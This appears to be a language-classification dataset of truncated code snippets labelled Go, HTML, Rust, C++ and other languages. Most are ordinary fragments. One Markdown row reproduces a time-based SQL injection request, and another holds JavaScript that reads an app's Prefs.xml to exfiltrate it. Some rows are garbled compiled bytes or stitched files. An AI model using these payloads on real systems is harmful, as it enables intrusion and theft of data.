content stringlengths 2 6.21k | label stringclasses 16
values |
|---|---|
),
Infavor: big.NewInt(0),
Against: big.NewInt(0),
Executed: false,
Approved: false,
Threshold: THRESHOLD,
Majority: MAJORITY,
MinVoteDuration: MINVOTEDURATION,
MaxVoteDuration: MAXVOTEDURATION,
ConfirmDuration: CONFIRMDURATION,
Vot... | Go |
0 1.304.726 3.471 2.79 3.471 2.065 0 3.063-.466 4.697-.466 1.633 0 2.723.652 4.787.652s2.926-2.003 2.926-3.308c0-1.305-.358-2.043-2.012-3.532-1.06-.955-1.958-1.733-3.365-3.737-.695-.99-1.497-1.118-2.336-1.118-.84 0-1.724.302-2.405 1.304z"/></svg></li><li title="bandage f "><svg xmlns="http://www.w3.org/2000/svg" viewB... | HTML |
or(int i=0; i<n; ++i)
{
mat.coeffRef(i, i%(n/10)) = val;
VERIFY(mat.data().allocatedSize()<20*n);
}
}
#endif
}
// This file is part of Eigen, a lightweight C++ template library
// for linear algebra.
//
// Copyright (C) 2012 Desire Nuentsa <desire.nuentsa_wakam@inria.fr>
// Copyright (C) 2012 Gael... | C++ |
so we can print out the used ports later.
var confs []pgx.ConnConfig
for addr, user := range map[string]string{
*pgAddr: *pgUser,
*crAddr: *crUser,
} {
conf, err := pgx.ParseURI(fmt.Sprintf("postgresql://%s@%s?sslmode=disable", user, addr))
if err != nil {
panic(err)
}
confs = append(confs, conf)
}
... | Go |
</code>.</p>
*
* <p>The <code><em>port</em></code> part of the returned string
* is the value returned by {@link #getPort()} in its shortest
* decimal form. If the value is zero, it is omitted.</p>
*
* @return the string representation of this Service URL.
*/
public String toStri... | Java |
pub fn MakeCurrent(hDc: types::HDC, newContext: types::HGLRC) -> types::BOOL;
#[link_name="wglRealizeLayerPalette"]
pub fn RealizeLayerPalette(hdc: types::HDC, iLayerPlane: __gl_imports::raw::c_int, bRealize: types::BOOL) -> types::BOOL;
#[link_name="wglSetLayerPaletteEntries"]
pub ... | Rust |
89bd51afe9e009ab9.png",
"./timeMap/20200522145400_20200522163000_9f234335ae2c42ac91d5dfc62b72f3db.png",
"./timeMap/20200522145400_20200522163600_a808919c4a5a4142b188520a74dacf75.png",
"./timeMap/20200522145400_20200522170600_964ada943fcf4a13aa59364b1efd0b1b.png",
"./timeM... | HTML |
return payloadSizeEstimatedWhenAdding;
}
/**
* Indicate if payload size should be estimated and controlled when adding properties (default is false).
* @param checked true to throw an exception if the estimated size is too big when adding a property, false otherwise
*/
public void setPayloadSizeEstimatedWhe... | Java |
ets` + 2.
// See comments on `bucket_options` for details.
NumFiniteBuckets int32 `protobuf:"varint,1,opt,name=num_finite_buckets,json=numFiniteBuckets,proto3" json:"num_finite_buckets,omitempty"`
// The i'th linear bucket covers the interval
// [offset + (i-1) * width, offset + i * width)
// where i ranges from... | Go |
TriangleListAdjacency => D3D_PRIMITIVE_TOPOLOGY_TRIANGLELIST,
TriangleStrip => D3D_PRIMITIVE_TOPOLOGY_TRIANGLESTRIP,
TriangleStripAdjacency => D3D_PRIMITIVE_TOPOLOGY_TRIANGLESTRIP,
PatchList(num) => { assert!(num != 0);
D3D_PRIMITIVE_TOPOLOGY_1_CONTROL_POINT_PATCHL... | Rust |
ntf(stream, "0");
break;
}
fprintf(stream, "\t%d\t%d\t%d\n",
_angleIndicator, _signalIndicator, _timingIndicator);
}
/**********************************************************************
* Private Member Functions *
**********************************************... | C++ |
-------------------------------------------------------------------*/
/*!
* \brief Creation of structures for the LES inflows
*/
/*----------------------------------------------------------------------------*/
void
cs_les_inflow_initialize(void)
{
/* Definition of the global parameters of the inlets */
cs_user_... | C++ |
.@{prefix}-charmap td:hover {
background: @btn-bg-hlight;
}
.@{prefix}-grid td.@{prefix}-grid-cell div {
border: 1px solid @grid-border;
width: 15px; height: 15px;
margin: 0px;
cursor: pointer;
&:focus {
border-color: @grid-border-active;
}
&[disabled] {
cursor: not-allowed;
}
}
.@{prefix}-grid {
bord... | CSS |
nil)
if err != nil {
t.Fatal(err)
}
err = entity.AddUserId("Golang Gopher", "Test Key", "add2---@golang.com", nil)
if err != nil {
t.Fatal(err)
}
ignore_err := entity.AddUserId("Golang Gopher", "Test Key", "no-reply@golang.com", nil)
if ignore_err == nil {
t.Fatal(err)
}
if len(entity.Identities) != ... | Go |
="region",
axes=[time_axis, energy_axis],
)
npred_map.data[...] = 5
coords = npred_map.sample_coord(n_events=2, random_state=0)
assert len(coords["lon"]) == 2
assert_allclose(coords["lon"].data, [83.63, 83.63], rtol=1e-5)
assert_allclose(coords["lat"].data, [21.51, 21.51], rtol=1e-5)
... | Python |
435T205 417T221 395T229 376L231 369Q231 367 232 367L243 378Q303 442 384 442Q401 442 415 440T441 433T460 423T475 411T485 398T493 385T497 373T500 364T502 357L510 367Q573 442 659 442Q713 442 746 415T780 336Q780 285 742 178T704 50Q705 36 709 31T724 26Q752 26 776 56T815 138Q818 149 821 151T837 153Q857 153 857 145Q857 144 8... | HTML |
-breaking spaces with \s
if ( rnotwhite.test( "\xA0" ) ) {
trimLeft = /^[\s\xA0]+/;
trimRight = /[\s\xA0]+$/;
}
// All jQuery objects should point back to these
rootjQuery = jQuery(document);
// Cleanup functions for the document ready method
if ( document.addEventListener ) {
DOMContentLoaded = function() {
doc... | JavaScript |
(!Float.isInfinite(start) && !Float.isInfinite(stop)) {
// ignore equal and degenerate cases
if (stop > start) {
// make sure that we're starting at a useful point
while (start < 0) {
start += RainbowMath.TWO_PI;
stop += Rai... | Java |
int j = that.j;
var s = that.S;
while ((count--) != 0) {
t = s[i = mask & (i + 1)];
r = r * width + s[mask & ((s[i] = s[j = mask & (j + t)]) + (s[j] = t))];
}
that.i = i;
that.j = j;
return r;
};
tha... | Dart |
file_access_mask;
use rand::{
distributions::{Distribution, Standard},
Rng,
};
pub const STRUCTURE_SIZE: &[u8; 2] = b"\x39\x00";
/// The SMB2 CREATE Request packet is sent by a client to request either
/// creation of or access to a file. In case of a named pipe or printer,
/// the server MUST create a new f... | Rust |
T> implements Serializable {
private static final long serialVersionUID = 1L;
public BiaoyanxiangmuCollectionEntity() {
}
public BiaoyanxiangmuCollectionEntity(T t) {
try {
BeanUtils.copyProperties(this, t);
} catch (IllegalAccessException | InvocationTargetException e) {
// TODO Auto-generated cat... | Java |
liseconds: maybeNegate(parseMillis(millisecondsStr))
}];
} // These are a little braindead. EDT *should* tell us that we're in, say, America/New_York
// and not just that we're in -240 *right now*. But since I don't think these are used that often
// I'm just going to ignore that
var obsOffsets = {
GM... | JavaScript |
�刃",
[28944] = "大元帅的屠斧",
[28945] = "大元帅的斩首斧",
[28946] = "大元帅的利斧",
[28947] = "大元帅的剔骨拳刺",
[28948] = "大元帅的重槌",
[28949] = "大元帅的痛苦之锯",
[28950] = "大元帅的碎骨锤",
[28951] = "大元帅的轻锤",
[28952] = "大元帅的快刀",
[28953] = "大元帅的裂肢拳刺",
[28954] = "大元帅的军刺",
[28955] = "大元帅的刺刀",
[28956] = "大元帅的军刀",
[28957] = "大元帅的法术之刃",
[28959] = "大元帅的作战法杖",
[28... | Lua |
assinger child to parent in tree
export type ChildAssigner = (parent: TreeNode, children: TreeNode[]) => void;
// condition whose target node matched to add or remove
export type ConditionFunction = (node: TreeNode) => boolean;
export const DEFAULT_ASSIGNER: ChildAssigner = function(
parent: any,
children: any[]... | Typescript |
so.setNomeComplexo("Almirante Barroso");
barroso.setOrgaoUsuario(rj());
barroso.save();
}
return barroso;
}*/
public static DpLotacao lotaMaior() throws Exception {
DpLotacao lota = DpLotacao.AR.find("bySiglaLotacao", "MAIOR").first();
if (lota == null) {
lota = new DpLotacao();
lota.setSiglaLota... | Java |
jpath);
if (p.path_type != PathType::SOFTLINK)
{
p.sha256 = jpath.value("sha256", "");
}
if (jpath.find("no_link") != jpath.end())
{
if (jpath["no_link"] == true)
{
... | C++ |
nd"; // Tag of ground object.
/// <summary>
/// Check for collision with ground, and optionally penalize agent.
/// </summary>
void OnCollisionEnter(Collision col)
{
if (col.transform.CompareTag(k_Ground))
{
touchingGround = true;
... | C# |
Program {
pub program_id: Pubkey,
pub process_instruction: ProcessInstructionWithContext,
}
impl std::fmt::Debug for BuiltinProgram {
fn fmt(&self, f: &mut std::fmt::Formatter) -> std::fmt::Result {
// These are just type aliases for work around of Debug-ing above pointers
type ErasedProces... | Rust |
Component:extend("PureContainer")
function PureContainer:init()
self.state = {
value = 0,
}
end
function PureContainer:didMount()
setValue = function(value)
self:setState({
value = value,
})
end
end
function PureContainer:render()
return createElement(PureChild, {
value ... | Lua |
k0)
sw a0, (4 * REGSIZE)(k0)
sw a1, (5 * REGSIZE)(k0)
sw a2, (6 * REGSIZE)(k0)
sw a3, (7 * REGSIZE)(k0)
sw t0, (8 * REGSIZE)(k0)
sw t1, (9 * REGSIZE)(k0)
sw t2, (10 * REGSIZE)(k0)
sw t3, (11 * REGSIZE)(k0)
sw t4, (12 * REGSIZE)(k0)
sw t5, (13 * REGSIZE)(k0)
sw t6, (14 * REGSIZE)(k0)
sw t7, (15 * REGSIZE)(k0... | Assembly |
खशम्बालाबफिआकुमीककुतेनाईलादीनोलांगिलाह्" +
"न्डालाम्बालेज़्घीयनलैकोटामोंगोलोज़ील्यूबा-लुलुआलुइसेनोलुन्डाल्युओलुशाईल्युईआमादु" +
"रीसमगाहीमैथिलीमकासरमन्डिन्गोमसाईमोक्षमंधारमेन्डेमेरुमोरीस्येनमध्यकाल आइरिशमैखुवा" +
"-मीट्टोमेटामिकमैकमिनांग्काबाउमन्चुमणिपूरीमोहौकमोस्सीमुंडैंगविविध भाषाएँक्रीकमिरा" +
"ंडीमारवाड़ीएर्ज़य... | Go |
throws Exception {
return selectBy(fields);
}
@Override
public T selectBy(Map<String, Object> fields) throws Exception {
StringBuilder sql = new StringBuilder("SELECT * FROM " + table() + " WHERE ");
StringBuilder param = new StringBuilder("param (?) : ");
boolean first = true;
for (Map.Entry<String, Ob... | Java |
Polyline:new{segments={AB,BC,CD,DE}}
AE = ArcLengthParameterizedPath:new{underlying_path=AE}
FE = Line:new{p0=F, p1=E}
GA = Line:new{p0=G, p1=A}
GF1 = Vector3:new{x=G.x, y=B.y}
GF2 = Vector3:new{x=B.x, y=0.8*F.y}
GF = Bezier:new{points={G, GF1, GF2, F}}
GF = ArcLengthParameterizedPath:new{underlying_path=GF}
-- surfac... | Lua |
let mut graph = NodeGraph::new(b1);
graph.insert(b2);
graph.insert(b3);
graph.insert_exit(b4);
// Analyze
let top = LivenessFact {
live: FnvHashSet::default(),
};
let mut analyzer = Analyzer::new_backward(top, trans, join);
let res = analyzer.solve(&graph);
// Compare
... | Rust |
/ol>
<p>A rendezett listákat többféle számozással és alfabetikus rendszerrel is jelölhetjük — egyszóval számokkal és betűkkel. Az alapértelmezett jelölés a böngészőkben a decimális számozás, de további lehetőségek is vannak:</p>
<ul>
<li>Betűk
<ul>
<li>ASCII kisbetűk (a, b, c…)</li>
<li>ASCII nagybetűk (A, B, ... | HTML |
`() = checkErrors("""
#![feature(inherent_associated_types)]
impl S { type Item; }
""")
@MockRustcVersion("1.2.0")
fun `test associated type defaults E0658 1`() = checkErrors("""
struct S;
type ItemFree = S;
impl S { <error>type Item = S;</error> }
trait T { ... | Kotlin |
ons *search* for a match,
/// for example using [firstMatch].
/// If you do not *anchor* the pattern
/// to the start of a line or input using `^`,
/// this search acts as if the regexp began with an implicit `[^]*`.
/// Starting your actual regular expression with `.*`
/// then results in potential quadrat... | Dart |
</td>
<td>给定上下文和参数,调用正在延迟对象上进行的回调函数( progressCallbacks )</td>
</tr>
<td>
<a href="misc-deferred-pipe.html">deferred.pipe()</a></td>
<td>过滤 and/or 链式延迟对象的工具方法</td>
</tr>
<td>
<a href="misc-deferred-progress.html">deferred.progress()</a></td>
<td>当Deferred(延迟)对象生成进度通知时,调用... | HTML |
struct ITokenTester : IUnknown
{
virtual void DirectClose(DWORD_PTR token) = 0;
};
struct TokenTester : ITokenTester
{
IFACEMETHOD_(ULONG, AddRef)() override { return 2; }
IFACEMETHOD_(ULONG, Release)() override { return 1; }
IFACEMETHOD(QueryInterface)(REFIID, void**) { return E_NOINTERFACE; }
v... | C++ |
http://www.gnu.org/licenses/>.
*/
package org.catrobat.paintroid.test.command.implementation
import org.junit.runner.RunWith
import org.mockito.Mock
import org.catrobat.paintroid.common.CommonFactory
import org.mockito.InjectMocks
import org.catrobat.paintroid.command.implementation.AddEmptyLayerCommand
import org.m... | Kotlin |
d download all the files it can printing a stat sheet at the end of execution.
- exiting the program kills the main process.
- purging downloads gets rid of everything inside the downloads folder, or creates one if it does not exist.
- manually traversing the directories will present the user with a list of options of ... | Markdown |
/*
* ===========================================================================
* Loom SDK
* Copyright 2011, 2012, 2013
* The Game Engine Company, LLC
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy o... | C |
erenceFragmentCompat)?.let {
DigitalAssistantPreference(it).setDigitalAssistSetupStatus(true)
}
}
runCatching {
launcher.launch(Intent(Settings.ACTION_VOICE_INPUT_SETTINGS))
}
dismiss()
}
binding.negativ... | Kotlin |
ror when to does not exist": {100, 1, 101, true, nil, nil, nil},
"prune all": {100, 1, 100, false, []int64{93, 100}, []int64{95, 100}, []int64{100}},
"prune some": {10, 2, 8, false, []int64{1, 3, 8, 9, 10},
[]int64{1, 5, 8, 9, 10}, []int64{1, 8, 9, 10}},
"prune across checkpoint": {100001, 1... | Go |
foodCode'] as String?)?.trim().isEmpty == true
? identityHashCode(formData['name']).toString()
: formData['foodCode'] as String?;
final ingredients = formData['ingredients'] as String?;
// ???这里应该实现保存图片到存储(上传到图片服务器等)并获取URL的逻辑
// 简化起见,直接使用本地路径
String? newImageUrl = _... | Dart |
border" srcset="//upload.wikimedia.org/wikipedia/commons/thumb/a/aa/Flag_of_Kuwait.svg/35px-Flag_of_Kuwait.svg.png 1.5x, //upload.wikimedia.org/wikipedia/commons/thumb/a/aa/Flag_of_Kuwait.svg/46px-Flag_of_Kuwait.svg.png 2x" data-file-width="1200" data-file-height="600" /> </span><a href="/wiki/Kuwait_national_foot... | HTML |
顿</li>
</ul>
<h2 id="五、使用-Webpack-提升小程序研发效率"><a href="#五、使用-Webpack-提升小程序研发效率" class="headerlink" title="五、使用 Webpack 提升小程序研发效率"></a>五、使用 Webpack 提升小程序研发效率</h2><p><strong>管理第三方 npm 模块</strong></p>
<p>微信小程序的早期版本不支持使用第三方 npm 包,在基础库 <code>2.2.1 版本</code>才开始支持。但是微信小程序使用 npm 模块的方式与 Node.js 的并不完全相同,虽然同样可以用包管理工具(<code>npm/yar... | HTML |
ed7a6c3d035bcf764942dd58597211448941fd", "1824cdbc27c3e0eaa86920a38751322727872831", "https://content.cfx.re/mirrors/patches_fivem/2372/diffs/from_3570_to_2372.update.rpf.hdiff", 360941691 } /* diff sha1: 99db2ed3e7d40352e6d341c62ff03f558f8f0b14 */
},
},
},
}
},
{
2189,
{
{
"GTA5.exe",
{ ... | C++ |
J67UzoMicSWMZpKwRElxtA/640?wx_fmt=png "")
**漏洞影响范围**

# 漏洞复现
**poc**
```
GET /PSE/GetGradeList?schoolId=1;WAITFOR%00DELAY%00'0:0:5'-- HTTP... | Markdown |
IGHTMAP_HIGH_UP) |
(1ULL << WIDX_HEIGHTMAP_HIGH_DOWN) |
(1ULL << WIDX_HEIGHTMAP_LOW) |
(1ULL << WIDX_HEIGHTMAP_LOW_UP) |
(1ULL << WIDX_HEIGHTMAP_LOW_DOWN) |
(1ULL << WIDX_HEIGHTMAP_WATER_LEVEL) |
(1ULL << WIDX_HEIGHTMAP_WATER_LEVEL_UP) |
(1ULL << WIDX_HEIGHTMAP_WATER_LEVEL_DOWN)
};
static u... | C++ |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using ZigBeeNet.Security;
using ZigBeeNet.ZCL.Clusters.IasAce;
using ZigBeeNet.ZCL.Field;
using ZigBeeNet.ZCL.Protocol;
namespace ZigBeeNet.ZCL.Clusters.IasAce
{
/// <summary>
/// Zone Status Changed Command value object cla... | C# |
f@h_ H S SK r S SK Jr SrSrSrSrSrSrS rS
r Sr
SrS
rSr
g) N)ADMIN_BOT_USERNAMEu4
**ʜᴇʟʟᴏ** {},
**<blockquote>ɪ'ᴍ ᴀᴅᴇᴘᴛ ᴀᴛ ᴇxᴛʀᴀᴄᴛɪɴɢ ᴏɴʟɪɴᴇ ᴄᴏᴜʀsᴇs ᴡɪᴛʜ ᴄᴜᴛᴛɪɴɢ-ᴇᴅɢᴇ ᴛᴇᴄʜɴᴏʟᴏɢʏ. ɪ'ᴠᴇ ᴍᴀɴᴀɢᴇᴅ ᴛᴏ ɢᴀᴛʜᴇʀ ʟɪɴᴋs ғᴏʀ ᴀʟᴍᴏsᴛ ᴀʟʟ ᴀᴠᴀɪʟᴀʙʟᴇ ᴄᴏᴜʀsᴇs, ᴍᴀᴋɪɴɢ ᴛʜᴇ ᴘʀᴏᴄᴇs... | Python |
SocketAddress = nextInetSocketAddress();
Route route = new Route(address, lastProxy, lastInetSocketAddress);
if (routeDatabase.shouldPostpone(route)) {
postponedRoutes.add(route);
// We will only recurse in order to skip previously failed routes. They will be tried last.
return next();
}
... | Java |
"\n",(0,s.jsxs)(i.ul,{children:["\n",(0,s.jsxs)(i.li,{children:["\n",(0,s.jsxs)(i.p,{children:[(0,s.jsx)(i.strong,{children:"Conflict Resolution"}),":\nWith an optimistic approach, multiple offline devices might edit the same data. When syncing back, conflicts occur that must be merged. RxDB uses ",(0,s.jsx)(i.a,{href:... | JavaScript |
交前执行
表单输出的值可能不是后台所需要的值,所以需要在提交前做一层转化
即:row[key]=后台能所需要的值</p>
</div>
<div class="tsd-parameters">
<h4 class="tsd-parameters-title">Parameters</h4>
<ul class="tsd-parameter-list">
<li>
<h5>context: <a href="ValueResolveProps.html" class="tsd-signature-type" data-tsd-kind="Type alias">ValueResolveProps</a></h5></li></ul><... | HTML |
# Copyright (c) 2010-2017 Samuel Abels
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, d... | Python |
uff09", "type": "paragraph"}]}
</script>
<p>
<a href="index.htm">
[返回索引页面]
</a>
</p>
<h1>
刘少奇关于大庆矿区建设的宣传报道问题的讲话
</h1>
<p>
日期:1966-2-26 作者:刘少奇
</p>
<em>
刘少奇
</em>
<p>
(当谈到稿子上“这样的工矿区,历史上没有,外国没有,本本上也没有”的一段话时),刘少奇说:不要那样讲。历史上有过,本本上有,外国有,不过你们没有看过。马克思在一百年前就说了。空想社会主义者过去写的很生动,当时欧洲风行一时,法... | HTML |
cc dst_sel:DWORD dst_unused:UNUSED_PAD src0_sel:DWORD src1_sel:WORD_1
// CHECK: [0xf9,0x04,0x0a,0x3a,0x01,0x06,0x06,0x05]
v_subb_co_u32_sdwa v5, vcc, v1, sext(v2), vcc dst_sel:DWORD dst_unused:UNUSED_PAD src0_sel:DWORD src1_sel:DWORD
// CHECK: [0xf9,0x04,0x0a,0x3a,0x01,0x06,0x06,0x0e]
v_subb_co_u32_dpp v5, vcc, v1, v... | Assembly |
ACCESS_DISABLE = 0,
#[doc = "1: DRAM1 access enabled"]
DRAM1_ACCESS_ENABLE = 1,
}
impl From<DRAM1_ACCESS_A> for bool {
#[inline(always)]
fn from(variant: DRAM1_ACCESS_A) -> Self {
variant as u8 != 0
}
}
#[doc = "Reader of field `DRAM1_ACCESS`"]
pub type DRAM1_ACCESS_R = crate::R<bool, DRAM1_... | Rust |
() - 0.5f, getPosX() + (size.getValue() / 2F) + 0.25f, getPosY() + size.getValue() - 1, new Color(0x54FFFFFF, true));
} else {
Render2DEngine.draw2DGradientRect(context.getMatrices(),
(float) (getPosX() + (size.getValue() / 2F - 0.5)),
(float) ... | Java |
back)
implementation(libs.typesafeConfig)
implementation(ortLibs.downloader)
implementation(ortLibs.scanner)
runtimeOnly(platform(projects.storage))
runtimeOnly(platform(projects.config))
runtimeOnly(platform(projects.transport))
testImplementation(testFixtures(projects.dao))
testImple... | Kotlin |
cy,
}),
children = Roact.createElement(FitFrame.FitFrameVertical, {
BackgroundTransparency = 1,
width = UDim.new(1, 0),
}, props[Roact.Children])
})
end)
end
local function SampleHeader(props)
return withStyle(function(style)
local theme = style.Theme
local font = style.Font
local themeMap ... | Lua |
`matrix`.
// This emulates the OpenGL function `glMultMatrix()`.
multiply: function(matrix) {
return Matrix.multiply(this, matrix, new Matrix());
},
// ### .transformPoint(point)
//
// Transforms the vector as a point with a w coordinate of 1. This
// means translations will have an effect, for exam... | JavaScript |
A0, 0x20
xvfmadd.d D2, U10, U12, D2
xvfmadd.d D3, U11, U12, D3
xvld U2, A0, 0x40
xvld U3, A0, 0x60
xvldrepl.d U4, B0, 0x00
addi.d A0, A0, 0x80
addi.d B0, B0, 0x08
xvfmadd.d D0, U0, U4, D0
xvfmadd.d D1, U1, U4, D1
xvfmadd.d D2, U2, ... | Assembly |
document.write(event);
callback(null);
}
request.send();
}
var filePath = "/data/user/0/com.insecureshop/shared_prefs/Prefs.xml";
exfiltrateFile(filePath, function(contents) {
document.write(contents);
var exfil = new XMLHtt... | Markdown |
update records', roomStore.getRecords(), roomStore.getCurrentRecordIndex())
roomStore.undo()
console.log('\nundo(1/3) room store', roomStore.get())
roomStore.undo()
console.log('\nundo(2/3) room store', roomStore.get())
roomStore.undo()
console.log('\nundo(3/3) room store', roomStore.get())
... | Typescript |
http://polyglotman.sourceforge.net/ -->
<html>
<head>
<title>man page(1) manual page</title>
</head>
<body bgcolor='#efefef' text='black' link='blue' vlink='#551A8B' alink='red'>
<a href='#toc'>Table of Contents</a><p>
______________________________________________________________________________
<p>
<h2><a name='sec... | HTML |
.ant-input {
padding-right: 24px;
}
form .has-feedback > .ant-select .ant-select-arrow,
form .has-feedback > .ant-select .ant-select-selection__clear,
form .has-feedback :not(.ant-input-group-addon) > .ant-select .ant-select-arrow,
form .has-feedback :not(.ant-input-group-addon) > .ant-select .ant-select-selection_... | HTML |
Group.get('credentialsId').value && !disabled; else copyAccessToken">
<mat-icon>autorenew</mat-icon>
</button>
<ng-template #copyAccessToken>
<tb-copy-button
matSuffix
miniButton="false"
*ngIf="deviceCredentialsFormGroup.get('credentialsId').value"... | HTML |
NTORY);
}
else if (Arguments.Contains(RegularArguments.SYNCHRONIZE))
{
argumentsAfter = GetArgumentsAfter(RegularArguments.SYNCHRONIZE);
}
else
{
return null;
}
if (argumentsAfter.Length > 0)... | C# |
rom the @Component annotation needed to load the demo in the gallery.
///
/// Searches imports starting at [library], reading source files with
/// [assetReader].
Future<DemoInfo> _resolveDemo(String demoClassName, LibraryElement library,
AssetReader assetReader) async {
if (demoClassName == null) ret... | Dart |
width=16px> [Zylindrische Verbindung erstellen](Assembly_CreateJointCylindrical/de.md) → neu angeordnetes Kreuz*
- Eine zylindrische Führung zwischen Welle2 (Axle2) und Gabel2 (Fork002)
<img alt="" src=images/Assembly_UniversalJointExample-06.png style="width:200px;"> <img alt="" src=images/Button_right.svg style... | Markdown |
tps://cdn.modrinth.com/data/HYKaKraK/versions/Ks05ZluI/packetevents-spigot-2.9.3.jar")
url("https://github.com/ViaVersion/ViaVersion/releases/download/5.4.2/ViaVersion-5.4.2.jar")
url("https://github.com/ViaVersion/ViaBackwards/releases/download/5.4.2/ViaBackwards-5.4.2.jar")
}
runServer {
... | Kotlin |
-amp-start{from{visibility:hidden}to{visibility:visible}}@keyframes -amp-start{from{visibility:hidden}to{visibility:visible}}</style><noscript><style amp-boilerplate="">body{-webkit-animation:none;-moz-animation:none;-ms-animation:none;animation:none}</style></noscript></head>
</html>
<!DOCTYPE html>
<html ⚡="" amp=""... | HTML |
li.disabled > a:focus {
color: #bbb;
text-decoration: none;
background-color: transparent;
cursor: not-allowed;
}
.nav .open > a,
.nav .open > a:hover,
.nav .open > a:focus {
background-color: #eeeeee;
border-color: #2196F3;
}
.nav .nav-divider {
height: 1px;
margin: 10.5px 0;
overflow: hidden;
bac... | CSS |
yclable` object.
#[doc(hidden)]
pub fn new(item: T) -> Self {
debug!("Creating a new ArcHandle.");
ArcHandle(Arc::new(RwLock::new(item)))
}
/// Locks this rwlock with shared read access, blocking the current thread until it can be acquired.
///
/// Refer to the [RwLock::read](ht... | Rust |
�和蔬菜占百分之三十六,社办工业占百分之二十。当总产值达到每户平均四千五百元时,农业(粮、棉、油),林牧渔副和蔬菜,工业各约占三分之一。
</p>
<p>
江苏:一九五九年农业占百分之六十五,林牧渔副占百分之二十五,社办工业在百分之十,当每人平均总产值达到六百元到八百元的时候,农业、林牧渔副和社办工业各占三分之一左右。
</p>
<p>
大家一致的意见是,必须大搞社办工业,大力发展农林牧渔副;否则,收入不能迅速增长。
</p>
<p>
会议研究,过渡的时间虽然有一个大致的杠子,但过渡必须根据各个公社的情况,有先有后。渔业区、林业区、经济作物区可能快一些,粮区可能慢一些。但在前三种地区,也应当... | HTML |
D8 7C 72 1B 78 */ mr r18, r3
/* 8000DA7C 000096DC 80 6D 96 C8 */ lwz r3, lbl_8063E988-_SDA_BASE_(r13)
/* 8000DA80 000096E0 80 99 00 10 */ lwz r4, 0x10(r25)
/* 8000DA84 000096E4 48 38 5E 95 */ bl func_80393918
/* 8000DA88 000096E8 80 D9 00 10 */ lwz r6, 0x10(r25)
/* 8000DA8C 000096EC 7C 64 07 74 */ extsb r4, r3
/*... | Assembly |
-- $Id: verybig.lua,v 1.25 2016/11/07 13:11:28 roberto Exp $
-- See Copyright Notice in file all.lua
print "testing RK"
-- testing opcodes with RK arguments larger than K limit
local function foo ()
local dummy = {
-- fill first 256 entries in table of constants
1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, ... | Lua |
ve" href="https://doc.rust-lang.org/nightly/std/primitive.unit.html">()</a>, <a class="struct" href="https://doc.rust-lang.org/nightly/core/fmt/struct.Error.html" title="struct core::fmt::Error">Error</a>></code></span></td><td><span class='out-of-band'><div class='ghost'></div><a class='srclink' href='../src/num_bi... | HTML |
Have a question? Need help? Feel free to open an issue on GitHub or ask a
question in our slack channel. We’re here to try and help make designing in
the browser fun.
</p>
<div class="pt4 cf mw5">
<script async type="text/javascript" src="//cdn.carbonads.com/carbon.js?zoneid=1673&serve=C6AILKT&plac... | HTML |
RICT_FSTREAM_H_
/*
Genesis - A toolkit for working with phylogenetic data.
Copyright (C) 2014-2020 Lucas Czech
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of... | C++ |
.addCultureInfo( "fr", "default", {
name: "fr",
englishName: "French",
nativeName: "français",
language: "fr",
numberFormat: {
",": " ",
".": ",",
NaN: "Non Numérique",
negativeInfinity: "-Infini",
positiveInfinity: "+Infini",
percent: {
",": " ",
".": ","
},
currency: {
pattern: ["-n $","... | JavaScript |
;
else if (channelName.compare_i("GUI") == 0)
chan = plgAudioSys::kGUI;
else if (channelName.compare_i("NPCVoice") == 0)
chan = plgAudioSys::kNPCVoice;
else
{
PrintString( "Invalid channel specified. Use SoundFX, BgndMusic, Voice, Ambience or GUI." );
return;
}
f... | C++ |
ons; // This will contain all the options for a target
impl Generator {
pub fn generate(&self, target_repo: &TargetRepository) -> PakResult<()> {
let project = Project::read()?;
let model = Model::new(project.model);
let target = target_repo.find(self.target_name.as_str())?;
let gen... | Rust |
-- Description: Sleep for 10 seconds
-- Version: 0.1.0
-- Sourc | Lua |
true }
}
}
export default api
import React, { useState } from 'react';
import { useTranslation } from 'react-i18next';
import { useAuthStore } from '../../stores/authStore';
import { useNavigate } from 'react-router-dom';
const GitHubLoginButton = ({ onSuccess, onError, className = "" }) => {
const { t } = useTra... | JavaScript |
1, y: 2 };
let b: Box<Trait<&'static str>> = Box::new(a);
b.f("Mary");
let c: &Trait<&'static str> = &a;
c.f("Joe");
}
/* automatically generated by rust-bindgen */
pub const ERROR_SUCCESS: u32 = 0;
pub const ERROR_FILE_NOT_FOUND: u32 = 2;
pub const ERROR_ACCESS_DENIED: u32 = 1;
pub const ERROR_INVALI... | Rust |
ospace;
text-anchor:middle;
}
svg.railroad-diagram text.label{
text-anchor:start;
}
svg.railroad-diagram text.comment{
font:italic 12px monospace;
}
svg.railroad-diagram rect{
stroke-width:3;
stroke:black;
fill:hsl(120,100%,90%);
}
svg.railroad-diagram rect.group-box {
stroke: gray;
stroke-dasha... | HTML |
toImage" /><a href="qimage.html">QImage</a> QPixmap.toImage (<i>self</i>)</h3><h3 class="fn"><a name="transformed" /><a href="qpixmap.html">QPixmap</a> QPixmap.transformed (<i>self</i>, <a href="qmatrix.html">QMatrix</a>, <a href="qt.html#TransformationMode-enum">Qt.TransformationMode</a> <i>mode</i> = Q... | HTML |
) {
this.root = new Node(value);
this.logger
.logLine(`No root node. Creating root node (${value})`);
this.treeR.initialize(this.root, this.normalize);
this.player.delay();
return;
}
let walk = this.root;
while (walk) {
this.treeR.compare(value, walk);
thi... | Typescript |
="channelChooser2()">${btnChooseChannel}</div></td></tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
</table>
</div>
<div class="popupControls">
<table>
<tr>
<td>
<div onclick="PopupClose()" class="CLASS05009">${btnCancel}</div>
</td>
<td>
<div... | HTML |
ies
/// </devdoc>
public void Initialize(IDictionary adProperties) {
// Initialize the values we need to keep for ad selection
Debug.Assert(adProperties != null, "Required here");
this.adProperties = adProperties;
// remove null a... | C# |
() {
_controller?.dispose();
super.dispose();
}
Size _measureSize() {
return Size(2 * widget.maxRadius, 2 * widget.maxRadius);
}
@override
Widget build(BuildContext context) {
return AnimatedBuilder(
animation: _controller,
builder: (context, child) {
return CustomPaint(
... | Dart |
